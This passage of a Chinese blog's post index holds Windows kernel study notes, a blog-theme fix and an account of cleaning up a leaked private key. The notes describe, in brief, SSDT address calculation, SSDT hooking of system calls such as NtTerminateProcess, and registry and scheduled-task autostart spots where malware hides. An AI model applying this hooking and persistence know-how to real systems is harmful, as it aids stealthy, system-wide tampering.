操作系统支持的原子操作\n操作系统通常会提供一些高级的原子操作接口，这些接口底层依赖于硬件支持的原子指令。例如，Windows内核提供了以下原子操作函数：\nInterlockedExchange：原子性地交换两个值。\nInterlockedCompareExchange：原子性地比较并交换值。\nInterlockedIncrement：原子性地增加一个值。\nInterlockedDecrement：原子性地减少一个值。\n这些函数在内核模式下可以直接使用，它们的实现依赖于硬件支持的原子指令。\n3. 为什么原子操作是重要的\n原子操作在多线程和多核环境中非常重要，因为它们确保了操作的完整性和一致性。例如：\n互斥锁：通过原子操作确保同一时刻只有一个线程可以获取锁。\n计数器：通过原子操作确保计数器的增减操作不会被其他线程中断。\n4. 自旋锁中的原子操作\n在自旋锁的实现中，InterlockedExchange函数用于原子性地检查和设置锁的状态。例如：\nvoid KeAcquireSpinLock(KSPIN_LOCK* SpinLock) { while (InterlockedExchange(\u0026amp;SpinLock-\u0026gt;Lock, 1) != 0) { // 锁被占用，继续等待 } } InterlockedExchange：这个函数通过硬件支持的原子指令（如xchg）实现，确保在多核处理器环境下，锁的状态检查和设置是原子的。\n忙等待：线程在忙等待循环中不断调用InterlockedExchange，直到锁的状态变为0，表示锁可用。\n5. 总结\n原子操作：是指在执行过程中不会被中断的操作，确保操作的完整性和一致性。\n硬件支持：原子操作通常通过硬件指令（如xchg、cmpxchg）实现，这些指令在CPU级别上确保操作的原子性。\n操作系统支持：操作系统提供了高级的原子操作接口，这些接口底层依赖于硬件支持的原子指令。\n自旋锁：通过原子操作（如InterlockedExchange）实现锁的获取和释放，确保同一时刻只有一个线程可以进入临界区。\n因此，原子操作的实现依赖于硬件支持，而操作系统提供了方便的接口供开发者使用。\n","permalink":"https://t1mmoc.github.io/posts/18760694/","summary":"\u003ch1 id=\"一点定义\"\u003e一点定义\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003e作业（job）\u003c/strong\u003e 是由执行体支持的一种内核对象，它能够将一个或多个进程视为一个整体来进行管理和控制。管理程序借助 Windows API，能够对作业所使用的系统资源（包括 CPU 或内存）的诸多限制进行控制，比如用户模式 CPU 时间的限制、进程的处理器亲和性、工作集的最大值与最小值、虚拟内存的使用限制等。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e迁程（fiber）\u003c/strong\u003e 是一种用户线程，对于内核来说是不可见的，是由 kernel32.dll 来实现的。应用程序可以在一个线程环境中创建多个迁程，并且可以手动控制这些迁程的执行。迁程不会自动执行，应用程序需要明确地选择某个迁程来执行。一旦迁程开始运行，它会一直运行，直到它退出，或者它显式地切换到另一个迁程。\u003c/p\u003e\n\u003cp\u003e目前没有看到这俩的用处，先记录下来，像这种定义却没有实际接触的东西可不好背，记下来方便以后回顾\u003c/p\u003e\n\u003ch1 id=\"同步自旋锁\"\u003e同步、自旋锁\u003c/h1\u003e\n\u003cp\u003eWindows根据执行环境中的IRQL大于APC_LEVEL 或者等于PASSIVE_LEVEL，将同步机制分为“不依赖线程调度的同步机制”和“基于线程调度的同步机制”。\u003c/p\u003e\n\u003cp\u003e不依赖线程调度的同步机制主要是在IRQL的高优先级下执行的，通常用于中断处理程序和内核模式代码中，以确保在处理中断或执行关键内核代码时，不会被其他线程打断。常见的不依赖线程调度的同步机制包括：\u003c/p\u003e\n\u003cp\u003e自旋锁（Spin Lock）：自旋锁用于在多个线程之间互斥的访问共享资源，本质上是一种忙等待（busy-wait），意思是线程会一直自旋（忙等待）直到锁可用为止，而不会被挂起等待。常使用在高IRQL下，因为此时是不允许切换线程的，使用自旋锁可以确保关键代码不会被其他线程打断。一些自旋锁扩展：执行体自旋锁（支持共享和独占的语义）、排队自旋锁（queued spin lock）和栈内排队自旋锁（in-stack queued spin lock）。\u003cbr\u003e\n中断服务例程（ISR）：ISR用于响应硬件中断，当硬件设备触发中断时，操作系统会立即执行ISR来处理中断。ISR运行在IRQL的高优先级下，不允许进行线程调度，以确保快速响应中断。\u003cbr\u003e\n延迟过程调用（Deferred Procedure Call，DPC）：DPC用于延迟执行一些代码块或处理程序，常与中断处理有关。当硬件设备触发中断时，操作系统会将\u003cstrong\u003e中断服务例程（ISR）\u003c/strong\u003e 用于快速响应中断，但有时需要执行一些耗时的操作，例如数据传输或资源释放，这时就会使用DPC来延迟执行这些操作。\u003cbr\u003e\n另一种基于线程调度的同步机制：当一个线程的执行条件不满足时，该线程进入等待状态，系统将控制权交由其他满足执行条件但没有得到处理器资源的线程；以后，当该线程的执行条件满足时，它又有机会继续执行。这里的执行条件正是Windows提供的线程同步机制中的语义。Windows定义了统一的机制来支持各种线程同步原语：分发器对象（dispatcher object），其数据结构头部为DISAPATCH_HEADER。\u003c/p\u003e","title":"Windows内核学习笔记（五）"},{"content":"常见的分发器对象 事件（event）：用于线程之间的通信和同步，它有俩种状态：已触发和未触发。事件可以用于线程等待某个事件发生，或者通知其他线程事件的发生。\n互斥量（Mutex）（或互斥锁）：互斥量用于确保在同一时刻只有一个线程能够访问共享资源。它允许线程请求锁定，当一个线程获得锁定时，其他线程必须等待，直到锁被释放。\n信号量（Semaphore）：用于控制对共享资源的并发访问。它维护一个计数器，允许指定数量的线程同时访问资源。\n条件变量（Condition Variable）：条件变量用于线程之间传递信号和等待特定条件的发生。通常与互斥量一起使用，用于等待某个条件满足后执行操作。\n读写锁（Read-Write Locks）：读写锁用于控制对共享资源的读和写，它允许多个线程同时读取资源，但只允许一个线程写入资源。\n计数器对象（Counting Semaphore）：一种特殊的信号量，它可以增加和减少计数器的值，通常用于跟踪资源的可用性或完成的任务数量。\n关于互斥锁和自旋锁：互斥锁基于线程调度，而自旋锁不依赖线程调度；还有一个区别是线程尝试获取锁时，如果该锁被占用，线程是被挂起还是一直自旋；互斥锁适用于长时间的临界区和资源竞争激烈的情况，而自旋锁适用于非常短暂的临界区。\nWindows在上述基础上，实现了同步语义更为丰富的一些同步机制，包括：快速互斥体（fast mutex）、守护互斥体（guarded mutex）、执行体资源（executive resource）和推锁（push lock）。\n一听又是历史，见过fastcall的都知道。\nSSDT **系统服务描述表（System Services Descriptor Table，SSDT）**其在内核中的实际名称是 “KeServiceDescriptorTable”。\n它用于处理应用层通过kernel32.dll下发的各个API操作请求。ntdll.dll中的API是一个简单的包装函数，当kernel32.dll中的API通过ntdll.dll时，会先完成对参数的检查，再调用一个中断（int 2Eh或者SysEnter指令），从而实现从R3层进入R0层，并将要调用的服务号（也就是SSDT数组中的索引号index值）存放到寄存器EAX中，最后根据存在EAX中的索引值在SSDT数组中调用指定的服务（Nt*系列函数）。\n这个好玩。\n我在用户态的程序需要调用我自己的驱动程序服务，是用这种方式吗 如果你在用户态的程序中需要调用自己编写的驱动程序服务，通常不会直接通过SSDT来实现。SSDT主要用于调用内核提供的标准服务（Nt*系列函数），而不是直接调用自定义驱动程序的服务。相反，你需要通过一种机制来与你的驱动程序进行通信，常见的方法是使用设备驱动接口（DDI）和设备控制操作（IOCTL）。以下是详细的步骤和原理：\n设备驱动接口（DDI）\n设备驱动接口（DDI）是Windows内核提供的一组函数和接口，用于用户态程序与驱动程序之间的通信。用户态程序可以通过这些接口与驱动程序进行交互。 设备控制操作（IOCTL）\nIOCTL（Input/Output Control）是一种设备控制操作，允许用户态程序向驱动程序发送自定义的命令和数据。这是用户态程序与驱动程序通信的常用方式。 HANDLE hDevice = CreateFile( L\u0026#34;\\\\\\\\.\\\\MyDriver\u0026#34;, // 驱动程序的设备名 GENERIC_READ | GENERIC_WRITE, // 访问权限 0, // 不共享 NULL, // 安全属性 OPEN_EXISTING, // 打开已存在的设备 0, // 不使用文件属性 NULL // 不使用模板 ); if (hDevice == INVALID_HANDLE_VALUE) { // 错误处理 } DWORD bytesReturned; BOOL success = DeviceIoControl( hDevice, // 设备句柄 IOCTL_MY_DRIVER_CUSTOM_COMMAND, // 自定义的IOCTL代码 \u0026amp;inputBuffer, // 输入缓冲区（可选） sizeof(inputBuffer), // 输入缓冲区大小 \u0026amp;outputBuffer, // 输出缓冲区（可选） sizeof(outputBuffer), // 输出缓冲区大小 \u0026amp;bytesReturned, // 返回的数据大小 NULL // 不使用重叠I/O ); if (!success) { // 错误处理 } 定义设备对象：\n在驱动程序中，定义一个设备对象，并在驱动程序加载时创建该设备对象。设备对象的名称需要与用户态程序中使用的名称一致。\n示例代码（驱动程序）：\nNTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L\u0026#34;\\\\Device\\\\MyDriver\u0026#34;); UNICODE_STRING symbolicLinkName = RTL_CONSTANT_STRING(L\u0026#34;\\\\DosDevices\\\\MyDriver\u0026#34;); // 创建设备对象 IoCreateDevice(DriverObject, 0, \u0026amp;deviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, \u0026amp;deviceObject); // 创建符号链接 IoCreateSymbolicLink(\u0026amp;symbolicLinkName, \u0026amp;deviceName); // 设置设备对象的派遣函数 DriverObject-\u0026gt;MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyDeviceControl; return STATUS_SUCCESS; } 处理IOCTL命令：\n在驱动程序中，实现一个派遣函数（例如MyDeviceControl），用于处理用户态程序发送的IOCTL命令。\n示例代码（驱动程序）：\nNTSTATUS MyDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp); ULONG ioctlCode = irpStack-\u0026gt;Parameters.DeviceIoControl.IoControlCode; switch (ioctlCode) { case IOCTL_MY_DRIVER_CUSTOM_COMMAND: // 处理自定义命令 break; default: return STATUS_INVALID_DEVICE_REQUEST; } // 完成IRP请求 Irp-\u0026gt;IoStatus.Status = STATUS_SUCCESS; Irp-\u0026gt;IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } 居然不一样，看来没办法融会贯通。\n也是，驱动和系统，驱动依附于系统。\nSSDT表的基地址和SSDT函数的索引号（index），从而求出对应的服务函数地址。在x86平台上，它们之间满足如下规则：\nFuncAddr = KeServiceDescriptorTable + 4 * index 与x86平台上直接在SSDT中存放SSDT函数地址不同，在x64平台上，SSDT中存放的是索引号锁对象的SSDT函数地址和SSDT表基地址的偏移量左移4位的值，因而计算公式变为：\nFuncAddr = ([KeServiceDescriptorTable + index * 4] \u0026gt;\u0026gt; 4 + KeServiceDescriptorTable) SSDT表存储在哪里，修改是对全部进程生效吗 SSDT 表存储在哪里 SSDT（系统服务描述符表）存储在内核空间中，具体位置可以通过以下方式获取：\n通过内核导出符号访问： SSDT 表的基地址可以通过内核导出符号 KeServiceDescriptorTable 获取。在 Windows 系统中，KeServiceDescriptorTable 是一个导出的全局变量，存储了 SSDT 的相关信息。\n使用 Windbg 工具 可以通过命令 dd nt!KeServiceDescriptorTable 查看 SSDT 表的内容。\n通过内存扫描： 在某些情况下，也可以通过扫描内存中的特定特征码来找到 SSDT 表的基地址。\nSSDT Hook 修改是否对全部进程生效 SSDT Hook 是在内核层面进行的修改，因此对系统中的所有进程都生效。当 SSDT 表中的某个系统服务被 Hook 后，无论哪个进程调用该系统服务，都会被重定向到自定义的 Hook 函数。\n例如，通过 Hook NtTerminateProcess 函数，可以实现对所有进程的终止操作进行拦截，从而保护特定进程不被结束。\nPEB 操作系统会为每个进程设置一个数据结构，用来记录进程的相关信息。该结构就是PEB（Process Environment Block，进程环境块），PEB存在于用户地址空间中，记录了进程的相关信息。\n其中，BeingDebugged成员用于指定该进程是否处于被调试状态，该值为0时进程未处于调试状态，若该值为非零值，则进程处于调试状态。（可以使用Windows API，如IsDebuggerPresent、CheckRemoteDebuggerPresent函数来访问该成员）\nLdr字段也是一个很重要的成员，该字段指向的结构记录了进程加载进内存的所有模块的基地址，通过Ldr指向的三个链表就可以找到kernel32.dll的基地址。\nTEB TEB（Thread Environment Block，线程环境块） 同样位于应用层之中。它包含了系统频繁使用的一些与线程相关的数据，进程中的每个线程都有一个自己的TEB。一个进程的所有TEB都存放在从0x7FFDE000开始的线性内存中，每4KB为一个完整的TEB。\n在NT中，FS:[0]的地址指向了TEB结构，这个结构的开头是一个NT_TIB结构\n可以通过NtCurrentTeb函数调用和FS段寄存器俩种方法来访问TEB结构\n注册表 这个是windows在文件太过零散时创造的一个统一数据库。\n没什么特别的，经常和它打交道。\n只不过需要注意的是它和文件最大的区别还在于它里面存储的那些windows相关信息。\n当我知道任务计划程序的配置也是存储在注册表里面的时候，我非常震惊。\n但是想到这是windows的数据库的时候，也是释怀了。\n因此，如果说要开机自启什么东西，注册表基本是绕不过去的一环。\n驱动、服务、计划任务、任务表自带的开机自启、资源管理器带的开机自启\n基本都绕不开注册表。\nWindows服务的注册表项目主要存储在以下位置： HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services：这是系统服务安装信息的主要存储位置。每个服务都会在这个路径下以服务的名称（ServiceName）创建一个子项，其中包含了服务的相关信息，如“DisplayName”（服务名称）、“Description”（服务描述）、“ImagePath”（服务程序所在的路径）、“ObjectName”（服务运行时使用的用户账户）、“ErrorControl”（错误控制选项）、“Start”（服务启动类型，如自动、手动或禁止）和“Type”（服务类型）等。\nHKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services：此注册表项下也存储了系统服务的安装信息，可以用来获取服务的详细信息。\n需要注意的是，修改注册表时要格外小心，因为不当的修改可能会导致系统不稳定或无法启动。在进行修改之前，建议先备份注册表。\nWindows驱动程序的相关信息主要存储在注册表的以下位置： 服务键（Service Key）\n服务键用于指定驱动程序（.sys 文件）的位置以及控制驱动程序加载的一些参数。这些键存储在注册表的以下路径中：\n路径：HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\n内容：每个驱动程序都会在该路径下以驱动程序的服务名称（通常是.sys文件的名称）创建一个子项。子项中包含以下重要信息：\nImagePath：驱动程序文件的路径。\nStart：驱动程序的启动类型（如自动、手动或禁用）。\nType：驱动程序的类型（如内核模式驱动程序）。\nErrorControl：错误控制选项，指定如果驱动程序加载失败时系统的响应方式。\n硬件键（Hardware Key）\n硬件键包含单个设备的信息，通常用于描述硬件设备及其驱动程序的实例。\n路径：HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\总线\\硬件ID\n内容：每个硬件设备都会在该路径下创建一个子项，子项中包含设备的硬件ID、实例ID等信息。例如，一个USB设备的路径可能是：\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\USB\\VID_1234\u0026amp;PID_5678\\1234567890\n其中，USB是总线类型，VID_1234\u0026amp;PID_5678是硬件ID，1234567890是设备的实例ID。\n类键（Class Key）\n类键包含所有相同类型设备的共同信息。\n路径：HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\GUID\n内容：每个设备类（如所有USB设备或所有显卡设备）都会在该路径下创建一个子项，子项中包含该类设备的共同信息，如设备类的GUID（全局唯一标识符）。\n参数键（Parameters Key）\n参数键用于存储驱动程序的配置信息。\n路径：对于内核模式驱动程序，参数键位于HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\服务名\\Parameters。\n内容：驱动程序的配置信息，如设备的特定设置或驱动程序运行时的参数。\n注意事项\n修改注册表的风险：修改注册表时需要格外小心，因为不当的修改可能会导致系统不稳定或无法启动。在修改之前，建议备份注册表。\n访问权限：某些注册表项（如硬件键）的访问权限非常严格，通常只有系统账号和内核模式程序可以访问。\n最后 终于告一段落了。\n在阅读这篇文章的时候，我就逐渐意识到这是在走马观花。\n但，走马观花也算是有一些收获，或许收获不多。\n也应该足够我应付入门了，至于入门以后，再等待就好。\n只有真正的实操，才能领悟。不过可见的是，第一次实操内核相关，肯定会无比困难。\n","permalink":"https://t1mmoc.github.io/posts/18760808/","summary":"\u003ch1 id=\"常见的分发器对象\"\u003e常见的分发器对象\u003c/h1\u003e\n\u003cp\u003e\u003ccode\u003e事件（event）\u003c/code\u003e：用于\u003ccode\u003e线程\u003c/code\u003e之间的通信和同步，它有俩种状态：\u003ccode\u003e已触发\u003c/code\u003e和\u003ccode\u003e未触发\u003c/code\u003e。事件可以用于线程等待某个事件发生，或者通知其他线程事件的发生。\u003cbr\u003e\n\u003ccode\u003e互斥量（Mutex）（或互斥锁）\u003c/code\u003e：互斥量用于确保在同一时刻只有一个线程能够访问共享资源。它允许线程请求锁定，当一个线程获得锁定时，其他线程必须等待，直到锁被释放。\u003cbr\u003e\n\u003ccode\u003e信号量（Semaphore）\u003c/code\u003e：用于控制对共享资源的并发访问。它维护一个计数器，允许指定数量的线程同时访问资源。\u003cbr\u003e\n\u003ccode\u003e条件变量（Condition Variable）\u003c/code\u003e：条件变量用于线程之间传递信号和等待特定条件的发生。通常与互斥量一起使用，用于等待某个条件满足后执行操作。\u003cbr\u003e\n\u003ccode\u003e读写锁（Read-Write Locks）\u003c/code\u003e：读写锁用于控制对共享资源的读和写，它允许多个线程同时读取资源，但只允许一个线程写入资源。\u003cbr\u003e\n\u003ccode\u003e计数器对象（Counting Semaphore）\u003c/code\u003e：一种特殊的信号量，它可以增加和减少计数器的值，通常用于跟踪资源的可用性或完成的任务数量。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e关于互斥锁和自旋锁\u003c/strong\u003e：互斥锁基于线程调度，而自旋锁不依赖线程调度；还有一个区别是线程尝试获取锁时，如果该锁被占用，线程是被挂起还是一直自旋；互斥锁适用于长时间的临界区和资源竞争激烈的情况，而自旋锁适用于非常短暂的临界区。\u003c/p\u003e\n\u003cp\u003eWindows在上述基础上，实现了同步语义更为丰富的一些同步机制，包括：快速互斥体（fast mutex）、守护互斥体（guarded mutex）、执行体资源（executive resource）和推锁（push lock）。\u003c/p\u003e\n\u003cp\u003e一听又是历史，见过fastcall的都知道。\u003c/p\u003e\n\u003ch1 id=\"ssdt\"\u003eSSDT\u003c/h1\u003e\n\u003cp\u003e**系统服务描述表（System Services Descriptor Table，SSDT）**其在内核中的实际名称是 “KeServiceDescriptorTable”。\u003c/p\u003e","title":"Windows内核学习笔记（六）"},{"content":"前言 因为有个（五）被我漏掉了，所以这个再战系列跳过了十\n对了，这是我修改后的vue项目：git@gitcode.com:Timmoc/goodvue.git\n不建议直接克隆使用，因为有很多硬编码。但如果我的项目能帮助到各位就最好了。\n起因 我的页面居然只有两页？\n切换到页面二以后才正常。\n重新切回页面一，注意到也正常。\n注意到两个url不一致。\n好，行动，怎么能让我的主页只能看到两页呢？\n行动 好像有点不对\n页面加载不完整。\n哦，不对，我想起来我调试的方法了。\n博客园特有的调试方法。 好的哥，等我。\n再复制过来。\n等会，复制到哪里？\n哦吼，完蛋，谁干的好事把证书公私钥提交到git上了，还是公开存储。\n我啊，那没事了。\n还好过期了。（抹一把汗）\n不对，我没有修改key\n（）\n应该没人下载这个证书吧，偷偷去gitcode上删除原本的证书。\n删完再回来写这个博客。\n怎么会疏忽到把私钥上传到git仓库了，看来国内草台班子也有我一份。\nhttps://www.idczone.net/news/4016.html/\n好的，我不是独一份，不过看到别人说要重置，我犹豫了。\n只是一个alist的私钥，又没有米，还是在我电脑上的，应该。。没事吧？\n重置了也麻烦，不管了。\n是的，gitcode也有缓存，我删的只是索引。\n文件内容不放了。\n算了，先生成一个新key，顺便吊销证书吧，用着不放心。\n重新开始 log是个好东西，接下来只需要找找为什么是2的原因就行了。\n原因：博客园这个皮肤在第一页的时候只有下一页的按钮，我自然没办法获取到下一页。\n完事。（又偷偷加了点硬编码。）\n对了，使用vue的这个不太行。\nfunction checkUrl() { const firstUrl = \u0026#39;https://www.cnblogs.com/Timmoc\u0026#39;; const secondUrl = \u0026#39;https://www.cnblogs.com/Timmoc?page=1\u0026#39;; if (window.location.href === firstUrl) { window.location.href = secondUrl; } } checkUrl(); ","permalink":"https://t1mmoc.github.io/posts/18759449/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e因为有个（五）被我漏掉了，所以这个再战系列跳过了十\u003cbr\u003e\n对了，这是我修改后的vue项目：git@gitcode.com:Timmoc/goodvue.git\u003cbr\u003e\n不建议直接克隆使用，因为有很多硬编码。但如果我的项目能帮助到各位就最好了。\u003c/p\u003e\n\u003ch1 id=\"起因\"\u003e起因\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308150618888-1814907057.jpg\"\u003e\u003cbr\u003e\n我的页面居然只有两页？\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308150635720-1850062821.jpg\"\u003e\u003cbr\u003e\n切换到页面二以后才正常。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308150717127-1215927435.jpg\"\u003e\u003cbr\u003e\n重新切回页面一，注意到也正常。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308150735766-2063971305.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308150738258-790272669.jpg\"\u003e\u003cbr\u003e\n注意到两个url不一致。\u003cbr\u003e\n好，行动，怎么能让我的主页只能看到两页呢？\u003c/p\u003e\n\u003ch1 id=\"行动\"\u003e行动\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308154552852-323678950.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308154608638-847980631.jpg\"\u003e\u003cbr\u003e\n好像有点不对\u003cbr\u003e\n页面加载不完整。\u003cbr\u003e\n哦，不对，我想起来我调试的方法了。\u003c/p\u003e\n\u003ch1 id=\"博客园特有的调试方法\"\u003e博客园特有的调试方法。\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308154718825-1126961825.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308154803281-390732201.jpg\"\u003e\u003cbr\u003e\n好的哥，等我。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759449/3336551-20250308154845368-2066503682.jpg\"\u003e\u003cbr\u003e\n再复制过来。\u003cbr\u003e\n等会，复制到哪里？\u003c/p\u003e","title":"再战博客园美化（十一）"},{"content":"前言 在准备进行博客园美化的时候，发现自己的Alist Server.key泄露了。\n虽然配套泄露的Server.crt已经过期了，但是我续期的那个Server.crt可以直接访问我的本机获取到\n这对我的电脑（和其他信任了TD根证书的电脑与手机）造成了很严重的中间人攻击风险。\n因此需要吊销证书\n禁止进一步的泄露 将git仓库设置为私有\ngit filter-branch --force --index-filter \\ \u0026#34;git rm --cached --ignore-unmatch PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA\u0026#34; \\ --prune-empty --tag-name-filter cat -- --all 清除历史中数据\n我注意到，仍然可以访问，只是哈希不同了而已。\n这是新建了一个哈希分支。\n所以这治标不治本，还是得生成新的server.key。\n信任新证书 吊销原证书 服务器吊销证书 用户加入吊销列表 算了，放弃了。\n吊销无用，不如放弃。\n","permalink":"https://t1mmoc.github.io/posts/18759516/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e在准备进行博客园美化的时候，发现自己的Alist Server.key泄露了。\u003cbr\u003e\n虽然配套泄露的Server.crt已经过期了，但是我续期的那个Server.crt可以直接访问我的本机获取到\u003cbr\u003e\n这对我的电脑（和其他信任了TD根证书的电脑与手机）造成了很严重的中间人攻击风险。\u003cbr\u003e\n\u003cstrong\u003e因此需要吊销证书\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"禁止进一步的泄露\"\u003e禁止进一步的泄露\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759516/3336551-20250308161722379-1231641530.jpg\"\u003e\u003cbr\u003e\n将git仓库设置为私有\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759516/3336551-20250308161814950-1835464945.jpg\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit filter-branch --force --index-filter \\\n  \u0026#34;git rm --cached --ignore-unmatch PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA\u0026#34; \\\n  --prune-empty --tag-name-filter cat -- --all\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e清除历史中数据\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759516/3336551-20250308161749174-11766215.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18759516/3336551-20250308161803702-1025145210.jpg\"\u003e\u003cbr\u003e\n我注意到，仍然可以访问，只是哈希不同了而已。\u003cbr\u003e\n这是新建了一个哈希分支。\u003c/p\u003e","title":"记一次HTTPS server.key私钥泄露事件"},{"content":"杂项 特权模式和内核模式相同\n系统进程 笔者学习到此处的时候开始怀疑原作者是否有自己看过他写的文章。（错别字）\n我要不要换一篇文章阅读。\n系统空闲进程（Idle）：该进程的PID为0，其中每个处理器或核对应有一个线程。 System 进程：这是操作系统的核心进程，PID为4。它负责管理内核模式下线程、设备驱动程序、中断处理和其他核心事件。 会话管理器（smss.exe）：Windows系统中创建的第一个用户模式进程，在Windows启动过程中创建环境变量，（启动了子系统进程csrss.exe和登录进程winlogon.exe）。另外，它还负责创建新的终端服务器会话，包括建立会话空间的数据结构，为新建的终端服务器加载子系统。 登录进程（winlogon.exe）：负责处理交互用户的登录和注销。 Windows子系统进程（csrss.exe）：负责为用户提供一个子系统环境。 本地安全权威子系统进程（lsass.exe）：负责本地系统安全策略。 Shell进程（explorer.exe）：Windows的默认Shell，它提供了系统与用户打交道的各种界面，包括开始菜单、任务栏、资源管理窗口等几乎所有Windows用户都熟悉的界面。 服务控制管理器（services.exe）：负责Windows的系统服务，指一些特殊的进程。 services比较常见，会启动注册为服务并且选择开机自启的一些特殊dll，或者在手动模式下被管理员权限的程序要求启动一些服务。\n对于病毒来说是其中一个藏身地。另外一个藏身地是任务计划程序。\n某些“病毒”会藏身于其中，并且不将自己注册为开机自启，而是每一个小时启动一次，这样可以逃避部分检查开机自启的程序。\n只能说，非常天才，不愧是国产，脑子转得就是快。\n既然它这样恶心我了，那我也只能把它装进沙盒里面了。\n不过沙盒里面它也依旧能恶心我：\n在思考他的云同步功能到底有没有那么重要，要不要换office。\n内核态与用户态模式切换 一个指令流（即线程）在执行时，在以下情况会发生模式切换：\n用户模式代码触发了异常，则控制流进入到内核模式，内核中的异常处理函数可以决定该控制流是否继续执行。 用户模式代码执行时，被一个中断打断，控制流进入特权模式，等中断处理例程完成后，它若调用iret/iretd指令，则控制流恢复到用户模式下。 执行特殊的模式切换指令，如Intel x86的sysenter指令，从用户模式切换到内核模式。若想从内核模式切换到用户模式，通常使用sysexit、iret/iretd这样的指令。 折折折，AI解析\n这段内容主要描述了在计算机系统中，用户模式和内核模式之间的切换机制，以及在不同情况下控制流的转移和恢复过程。以下是对这段内容的详细解释：\n用户模式与内核模式 用户模式：在这种模式下，程序只能访问受限的系统资源，不能直接访问硬件设备或执行一些敏感操作，以保证系统的稳定性和安全性。用户模式代码的执行受到较多限制，但可以运行大多数应用程序。 内核模式：也称为特权模式，是操作系统的核心部分运行的模式。在这种模式下，代码可以访问系统的全部资源，包括硬件设备、内存等，能够执行所有指令，具有较高的权限和控制能力，主要用于实现系统的核心功能，如进程管理、内存管理、设备驱动等。 异常处理 当用户模式代码触发异常时，例如访问非法内存地址、执行非法指令等，控制流会从用户模式转移到内核模式。内核中的异常处理函数会接管控制流，对异常情况进行处理。异常处理函数会根据异常的类型和严重程度，决定是修复异常并让控制流继续执行，还是终止异常的程序并进行相应的清理工作。例如，对于一些可以恢复的异常，如页面错误（访问的内存页面未在物理内存中），内核可以通过页面置换算法将所需的页面加载到内存中，然后让程序继续执行；而对于一些不可恢复的严重异常，如非法指令，内核可能会终止该程序的运行，释放其占用的资源。 中断处理 在用户模式代码执行过程中，可能会被外部中断或内部中断打断。中断发生时，控制流也会进入特权模式，即内核模式。内核中的中断处理例程会处理中断请求，例如响应硬件设备的中断信号，读取或写入数据等。当中断处理完成后，如果中断处理例程调用了iret/iretd指令（在x86架构中，iret用于实模式和保护模式下的中断返回，iretd用于32位保护模式下的中断返回），则控制流会恢复到用户模式下，继续执行被中断的用户模式代码。这种机制使得操作系统能够在用户程序运行时及时响应外部事件，保证系统的实时性和响应性。 特殊模式切换指令 从用户模式切换到内核模式：可以通过执行特殊的模式切换指令来实现。例如，在Intel x86架构中，sysenter指令是一种快速从用户模式切换到内核模式的指令。它通过设置一些特定的寄存器和控制位，将控制流转移到内核中的指定入口点，以便执行内核模式下的代码，如系统调用等。这种指令通常用于提高系统调用的效率，减少模式切换的开销。 从内核模式切换到用户模式：通常使用sysexit、iret/iretd等指令。sysexit是与sysenter相对应的指令，用于从内核模式快速返回到用户模式。而iret/iretd指令也可以用于从内核模式切换到用户模式，它们会恢复之前保存的用户模式下的寄存器状态和程序计数器等信息，使控制流回到用户模式下继续执行。这些指令的使用需要根据具体的系统架构和上下文环境来选择，以确保模式切换的正确性和高效性。 总的来说，这段内容阐述了用户模式和内核模式之间的切换机制，包括异常处理、中断处理以及特殊模式切换指令的使用，这些机制对于操作系统的正常运行和资源管理至关重要，能够保证系统在不同模式下高效、安全地执行代码，同时及时响应各种事件和异常情况。\n","permalink":"https://t1mmoc.github.io/posts/18747525/","summary":"\u003ch1 